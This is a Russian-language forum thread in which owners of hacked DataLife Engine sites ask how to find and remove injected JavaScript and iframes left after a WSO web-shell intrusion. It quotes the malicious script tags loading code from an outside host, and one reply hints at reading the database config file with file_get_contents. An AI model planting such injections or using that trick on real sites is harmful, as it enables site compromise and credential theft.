Взлом сайта dle

Нет, ничего нового я не находил.

Во всех версиях есть

Здравствуйте, у меня не давно взломали сайт (DLE 8.3) с помощью шелла oRd ( Web Shell by oRb ), проникли в админ панель (возможно на сервер). Теперь в начале страницы подключается два "левых" ява скрипта и несколько iframe'ов. Пробовал искать через какие файлы они были подключены, не получается найти. Проверил все файлы шаблонов, тоже нету.

<script language="JavaScript" charset="windows-1251" rel="nofollow" src="http://under-click.net/js/if.php?id=7780"></script><script language="JavaScript" charset="windows-1251" rel="nofollow" src="http://under-click.net/js/if.php?id=7718"></script> это скрипт который прописали на сайте

Может кто поможет разобраться

Ребята, ну что вы жалуетесь, если на вашем дырявом нулледе DLE даже школьник, при помощи GET addr/file или нехитрого file_get_contents(xxxxxxx/engine/data/dbconfig.php) выудит доступ к БД?

Нужна помощь в выявлении дыры в DLE 8.0 через которую встраивается скрипт.

ICQ: 277@979@165

Проблема не в заплатке-ее уже поставили. Проблема в том где найти и как удалить вирус который был запущен на сайт.

zaqw81,

Точно такую же шляпу поставили на один мой сайт, найти никак не могу где он прячется. Оплачу кто поможет разобраться, срочно.

Разверните пекап, зачем искать иголку в стогу сена

asmakovec2,

Гениально, если все так просто было бы.

А в чём затруднения не понимаю? Бекапов нет, или редко делаете?

с помощью wso(web shell by orb) не взламывают сайты(инфа проверена), это просто оболочка чтобы по серву полазить и т.д. и т.п.(https://forum.antichat.ru/thread103155.html), а ломают потому что в нуленых есть бэкдоры, о чём можно почитать тут(https://forum.antichat.ru/threadnav52195-1-10-dle.html)